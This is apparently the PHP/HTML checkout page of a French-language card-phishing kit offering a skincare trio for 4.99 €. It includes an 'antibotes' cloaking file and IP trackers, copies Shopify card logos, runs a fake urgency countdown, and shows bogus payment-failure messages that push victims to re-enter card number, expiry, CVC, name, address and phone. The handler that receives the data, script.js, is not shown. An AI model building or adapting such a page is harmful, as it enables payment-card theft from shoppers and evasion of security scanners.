<?php
include '../track/track_ip.php'; // Include the tracking file
require '../admLn/tracker.php'; // Include tracking code
include '../antibotes/antibotes.php'; // Include tracking code

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Checkout</title>
    <link rel="stylesheet" href="styles.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <script src="https://www.google.com/recaptcha/api.js" async defer></script>
	<!-- Meta Pixel Code -->
<script>
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '962438132605545');
fbq('track', 'PageView');
</script>
<noscript><img height="1" width="1" style="display:none"
src="https://www.facebook.com/tr?id=962438132605545&ev=PageView&noscript=1"
/></noscript>
<!-- End Meta Pixel Code -->
</head>
<body>

<div class="checkout-header-image-container mobile-only">
    <a href="../products/TrioPeauParfaite.php">
        <img src="png/secure.jpg" alt="Checkout Image" class="checkout-header-image">
    </a>
</div>

    
    <div class="order-summary mobile-only">
        <div class="order-summary-toggle" onclick="toggleOrderSummary()" style="cursor: pointer;">
            <span id="order-summary-text">Résumé de la commande</span>
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 14 14" class="arrow">
                <path stroke="black" fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" d="m11.9 5.6-4.653 4.653a.35.35 0 0 1-.495 0L2.1 5.6"></path>
            </svg>         
            <span class="total-price">4.99 €</span>
        </div>
        <div class="order-details" id="order-details" style="display: none;">
            <div class="order-item">
                <div class="image-container">
                    <img src="png/51bAc+VPJDL._SL1100_1.png" alt="Product Image" class="product-image">
                </div>
                <div class="order-info">
                    <span class="product-name">Trio Peau Parfaite</span>
                    <span class="product-price">Qty:1</span>
                </div>
            </div>
            <div class="shipping">
                <span>Frais de livraison:</span>
                <span>Gratuit</span>
            </div>
            <div class="subtotal">
                <span>Sous-total:</span>
                <span>4.99 €</span>
            </div>
            <hr class="price-line"> <!-- Line added above the price -->
            <div class="total">
                <span>Total:</span>
                <span>4.99 €</span>
            </div>
        </div>
    </div>
    
    
                

                
                <div class="checkout-container">
                    <!-- Left Side: Form Inputs -->
                    <div class="form-container">
                        <form class="checkout-form" id="checkout-form">
                <div class="promo-message-container">
                    <p><strong>🔥Votre commande est réservée pour <span id="countdown">15:00</span> minutes.</strong> Finalisez votre achat rapidement, les articles partent très vite.🔥</p>
                </div>




    <!-- Display the error message above the email input if payment error is detected -->
    <?php
    if (isset($_GET['error']) && $_GET['error'] == 'payment') {
        echo "<div class='payment-failed-message'>
                <svg class='error-icon' fill='#f55159' width='40px' height='40px' viewBox='0 0 36 36' version='1.1' preserveAspectRatio='xMidYMid meet' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'>
                    <title>error-standard-line</title>
                    <circle class='clr-i-outline clr-i-outline-path-1' cx='18' cy='26.06' r='1.33'></circle>
                    <path class='clr-i-outline clr-i-outline-path-2' d='M18,22.61a1,1,0,0,1-1-1v-12a1,1,0,1,1,2,0v12A1,1,0,0,1,18,22.61Z'></path>
                    <path class='clr-i-outline clr-i-outline-path-3' d='M18,34A16,16,0,1,1,34,18,16,16,0,0,1,18,34ZM18,4A14,14,0,1,0,32,18,14,14,0,0,0,18,4Z'></path>
                    <rect x='0' y='0' width='46' height='46' fill-opacity='0'/>
                </svg>
                Nous avons rencontré un problème avec votre paiement. Veuillez vérifier vos informations de paiement et adresse avant de réessayer.
              </div>";
    }
    ?>
    <?php
    if (isset($_GET['error']) && $_GET['error'] == 'processing') {
        echo "<div class='processing-error-message'>
<svg class='error-icon' fill='#f7b500' width='20px' height='10px' viewBox='0 0 36 36' xmlns='http://www.w3.org/2000/svg'>
    <title>warning-triangle-line</title>
    <!-- Triangle shape with smooth borders -->
    <path d='M18,2L34,32H2Z' fill='#fef4ec' stroke='#f7b500' stroke-width='3' stroke-linejoin='round' stroke-linecap='round'/>
    
    <!-- Exclamation mark inside the triangle -->
   <rect x='17' y='10' width='2' height='12' fill='#f7b500' rx='1'/>
    <rect x='17' y='24' width='2' height='3' fill='#f7b500' rx='1'/>
</svg>
                Un problème est survenu lors du traitement de votre paiement, en raison d'un souci bancaire ou d'une vérification incomplète. Veuillez réessayer plus tard.
              </div>";
    }
    ?>


                <h2 class="contact-info-heading">
                    Contact
                </h2>
                



       
        <div class="input-container">
            <input id="email" name="email" placeholder="Adresse e-mail" type="email" required class="input-field" autocomplete="email">
            <label for="email" class="floating-label">Adresse e-mail </label>
            <span class="error-message" id="email-error"></span>
        </div>

        <div class="checkbox-container">
            <input type="checkbox" id="offers" name="offers" class="checkbox-input">
            <label for="offers" class="checkbox-label">Envoyez-moi un e-mail avec de nouvelles offres</label>
        </div>
        
 


        <h3 class="delivery-info-heading">
            Livraison
        </h3>

        <div class="input-container">
            <select id="country" name="country" required class="input-field">
                <option value="" disabled>Sélectionnez votre pays</option>
                <option value="fr" selected>France</option> <!-- France is selected by default -->
                <!-- Add other country options here if needed -->
            </select>
            <label for="country" class="floating-label">Pays/région</label>
            <span class="error-message" id="country-error"></span>
        </div>
        <div class="name-container">
            <div class="input-container">
                <input type="text" id="first-name" name="first-name" placeholder="Prénom" required class="input-field half-input" autocomplete="given-name">
                <label for="first-name" class="floating-label">Prénom</label>
                <span class="error-message" id="first-name-error"></span>
            </div>
            <div class="input-container">
                <input type="text" id="last-name" name="last-name" placeholder="Nom de famille" required class="input-field half-input" autocomplete="family-name">
                <label for="last-name" class="floating-label">Nom de famille</label>
                <span class="error-message" id="last-name-error"></span>
            </div>
        </div>
<div class="input-container">
    <input type="text" id="address1" name="address1" placeholder="Address" required class="input-field" autocomplete="address-line1">
    <label for="address1" class="floating-label">Address</label>
    <span class="error-message" id="address1-error" style="display:none;"></span>
</div>
<div class="input-container">
    <input type="text" id="address2" name="address2" placeholder="Apartment, suite, etc. (optional)" class="input-field" autocomplete="address-line2">
    <label for="address2" class="floating-label">Apartment, suite, etc. (optional)</label>
    <span class="error-message" id="address2-error" style="display:none;"></span>
</div>
<div class="name-container">
    <div class="input-container">
        <input type="text" id="city" name="city" placeholder="Ville" required class="input-field half-input" autocomplete="off">
        <label for="city" class="floating-label">Ville</label>
        <span class="error-message" id="city-error"></span>
    </div>
            <div class="input-container">
                <input type="text" id="zip-code" name="zip-code" placeholder="Code postal (optional)" class="input-field half-input" autocomplete="postal-code">
                <label for="zip-code" class="floating-label">Code postal (optional)</label>
                <span class="error-message" id="zip-code-error"></span>
            </div>
        </div>
        <div class="input-container">
            <div class="input-with-code">
                <select id="country-code" name="country-code" required class="country-code">
                    <option value="+33" selected>🇫🇷 +33</option>
                </select>
                <input type="tel" id="phone" name="phone" placeholder="Ex: 01 23 45 67 89" required class="input-field" autocomplete="tel">
                <div class="svg-icon-container phone-icon"> <!-- Added specific class -->
                    <div class="tooltip-container">
                        <svg width="20px" height="24px" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" stroke="#c2c2c2">
                            <g id="SVGRepo_bgCarrier" stroke-width="0"/>
                            <g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"/>
                            <g id="SVGRepo_iconCarrier">
                                <path d="M11.967 12.75C12.967 11.75 13.967 11.3546 13.967 10.25C13.967 9.14543 13.0716 8.25 11.967 8.25C11.0351 8.25 10.252 8.88739 10.03 9.75M11.967 15.75H11.977M21 12C21 16.9706 16.9706 21 12 21C7.02944 21 3 16.9706 3 12C3 7.02944 7.02944 3 12 3C16.9706 3 21 7.02944 21 12Z" stroke="#8f8f8f" stroke-width="2" stroke-linecap="round"/>
                            </g>
                        </svg>
                        <div class="tooltip">
                            <p>Nous pourrions avoir besoin</p>
                            <p>de vous contacter au sujet</p>
                            <p>de votre commande.</p>
                        </div>
                    </div>
                </div>
            </div>
            <label for="phone" class="floating-label">Numéro de téléphone</label>
            <span class="error-message" id="phone-error"></span>
        </div>
        
        <div class="new-checkbox-container">
            <input type="checkbox" id="new-offers" name="new-offers" class="new-checkbox-input">
            <label for="new-offers" class="new-checkbox-label">Sauvegardez ces informations pour la prochaine fois</label>
        </div>
        

                
        <h2 class="shipping-method-title">Mode d'expédition</h2>
        <div class="shipping-method-container">
            <div class="shipping-option">
                <span>Livraison standard (2-3 jours ouvrables)</span>
                <span class="shipping-price">GRATUIT</span>
            </div>
        </div>
        

       <!-- Payment Section -->
       <h2>Paiement</h2>
       <h2 class="secure">Toutes les transactions sont sécurisées et cryptées.</h2>
       <div class="payment-method-container">
           <div class="payment-option">
               <span class="credit-card-text">Carte Crédit/Débit</span>
           </div>
           <div class="card-images">
               <img src="https://cdn.shopify.com/shopifycloud/checkout-web/assets/0169695890db3db16bfe.svg" alt="VISA" width="38" height="24">
               <img src="https://cdn.shopify.com/shopifycloud/checkout-web/assets/5e3b05b68f3d31b87e84.svg" alt="MASTERCARD" width="38" height="24">
               <img src="https://cdn.shopify.com/shopifycloud/checkout-web/assets/bfaa13c64b6ea06f289f.svg" alt="AMEX" width="38" height="24">

           </div>
       </div>

       <fieldset id="payment-method">
           <!-- Payment Inputs -->
           <div class="input-container">
            <input type="tel" id="card-number" placeholder="Numéro de carte" required class="input-field" autocomplete="cc-number">
            <label for="card-number" class="floating-label">Numéro de carte</label>
            <span class="error-message" id="card-number-error"></span>
            <div class="svg-icon-container">
                <svg width="22px" height="25px" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                    <path d="M17 10.25H16.75V8C16.75 6.74022 16.2496 5.53204 15.3588 4.64124C14.468 3.75045 13.2598 3.25 12 3.25C10.7402 3.25 9.53204 3.75045 8.64124 4.64124C7.75045 5.53204 7.25 6.74022 7.25 8V10.25H7C6.27065 10.25 5.57118 10.5397 5.05546 11.0555C4.53973 11.5712 4.25 12.2707 4.25 13V18C4.25 18.7293 4.53973 19.4288 5.05546 19.9445C5.57118 20.4603 6.27065 20.75 7 20.75H17C17.7293 20.75 18.4288 20.4603 18.9445 19.9445C19.4603 19.4288 19.75 18.7293 19.75 18V13C19.75 12.2707 19.4603 11.5712 18.9445 11.0555C18.4288 10.5397 17.7293 10.25 17 10.25ZM8.75 8C8.75 7.13805 9.09241 6.3114 9.7019 5.7019C10.3114 5.09241 11.138 4.75 12 4.75C12.862 4.75 13.6886 5.09241 14.2981 5.7019C14.9076 6.3114 15.25 7.13805 15.25 8V10.25H8.75V8ZM18.25 18C18.25 18.3315 18.1183 18.6495 17.8839 18.8839C17.6495 19.1183 17.3315 19.25 17 19.25H7C6.66848 19.25 6.35054 19.1183 6.11612 18.8839C5.8817 18.6495 5.75 18.3315 5.75 18V13C5.75 12.6685 5.8817 12.3505 6.11612 12.1161C6.35054 11.8817 6.66848 11.75 7 11.75H17C17.3315 11.75 17.6495 11.8817 17.8839 12.1161C18.1183 12.3505 18.25 12.6685 18.25 13V18Z" fill="#757575"/>
                </svg>
            </div>
        </div>
        
        
        
           <div class="expiry-cvc-container">
               <div class="input-container half-input">
                   <input type="tel" id="expiry" placeholder="Date d'expiration (MM / AA)" required class="input-field" autocomplete="cc-exp">
                   <label for="expiry" class="floating-label">Date d'expiration (MM / AA)</label>
                   <span class="error-message" id="expiry-error"></span>
               </div>
               <div class="input-container half-input">
                   <input type="tel" id="cvc" placeholder="Code de sécurité (CVV/CVC)" required class="input-field" autocomplete="cc-csc">
                   <label for="cvc" class="floating-label">Code de sécurité (CVV/CVC)</label>
                   <span class="error-message" id="cvc-error"></span>
                    <div class="svg-icon-container">
                        <div class="tooltip-container">
                            <svg width="20px" height="24px" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" stroke="#c2c2c2">
                                <g id="SVGRepo_bgCarrier" stroke-width="0"/>
                                <g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"/>
                                <g id="SVGRepo_iconCarrier">
                                    <path d="M11.967 12.75C12.967 11.75 13.967 11.3546 13.967 10.25C13.967 9.14543 13.0716 8.25 11.967 8.25C11.0351 8.25 10.252 8.88739 10.03 9.75M11.967 15.75H11.977M21 12C21 16.9706 16.9706 21 12 21C7.02944 21 3 16.9706 3 12C3 7.02944 7.02944 3 12 3C16.9706 3 21 7.02944 21 12Z" stroke="#8f8f8f" stroke-width="2" stroke-linecap="round"/>
                                </g>
                            </svg>
                            <div class="tooltip">
                                <p>Code de sécurité : 3 chiffres au dos,</p>                                <p>à 3 chiffres au dos</p>
                                <p>4 chiffres à l'avant pour American Express.</p>                            </div>
                       </div>
                   </div>
               </div>
           </div>
           <div class="input-container">
            <input type="text" id="cardholder-name" placeholder="Nom sur la carte" required class="input-field" autocomplete="cc-name">
            <label for="cardholder-name" class="floating-label">Nom du titulaire de la carte</label>
            <span class="error-message" id="cardholder-name-error"></span>
            <div class="svg-icon-container">
           </div>
       </fieldset>
       
       <!-- Payment Button -->
<button type="button" id="continue-button" class="checkout-button">
    Payer maintenant
</button>
<div class="badges-container">
    <p style="color: grey; font-size: 12px; text-align: center;">
            Achetez en toute confiance. Nous vous garantissons un remboursement intégral sous 30 jours si vous n'êtes pas pleinement satisfait — aucun risque, aucune complication. Votre satisfaction, notre engagement.
    </p>
</div>
   </form>
</div>
        

<!-- Right Side: Product Details (Desktop Only) -->
<div class="order-summary desktop-only">
    
    <div class="order-details" style="display: block;">
        <!-- Order details content -->
        <div class="order-item">
            <div class="image-container">
                <img src="png/51bAc+VPJDL._SL1100_1.png" alt="Product Image" class="product-image">
            </div>
            <div class="order-info">
                <span class="product-name">Trio Peau Parfaite</span>
                <span class="product-price">Qty:1</span>
            </div>
        </div>

        <div class="shipping">
            <span>Frais de livraison:</span>
            <span>Gratuit</span>
        </div>
        
        <div class="subtotal">
            <span>Sous-total:</span>
            <span>4.99 €</span>
        </div>

        <hr class="price-line">
        
        <div class="total">
            <span>Total:</span>
            <span>4.99 €</span>
        </div>
    </div>
    

    <script>
        // Set the end time for the countdown (e.g., 15 minutes from now)
        var endTime = new Date().getTime() + 15 * 60 * 1000; // 15 minutes from now
    
        function updateCountdown() {
            var now = new Date().getTime();
            var timeRemaining = endTime - now;
    
            if (timeRemaining <= 0) {
                document.getElementById("countdown").innerHTML = "00:00";
                return;
            }
    
            var minutes = Math.floor(timeRemaining / (1000 * 60));
            var seconds = Math.floor((timeRemaining % (1000 * 60)) / 1000);
    
            // Pad single digit minutes and seconds with leading zeros
            minutes = minutes < 10 ? '0' + minutes : minutes;
            seconds = seconds < 10 ? '0' + seconds : seconds;
    
            document.getElementById("countdown").innerHTML = minutes + ":" + seconds;
        }
    
        // Update the countdown every second
        setInterval(updateCountdown, 1000);
    </script>
<script>
function closeErrorMessage() {
    // Hide the payment failed message
    var errorMessage = document.querySelector('.payment-failed-message');
    errorMessage.style.display = 'none';

    // Show the promo message again
    var promoMessage = document.querySelector('.promo-message-container');
    promoMessage.style.display = 'block';
}

// Check if the payment failed message exists and hide the promo message
window.onload = function() {
    var errorMessage = document.querySelector('.payment-failed-message');
    var promoMessage = document.querySelector('.promo-message-container');
    
    if (errorMessage) {
        promoMessage.style.display = 'none';  // Hide the promo message if payment failed message is shown
    }
};
</script>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/card-validator/8.0.0/card-validator.min.js"></script>
    <script src="script.js"></script>
</body>
</html>
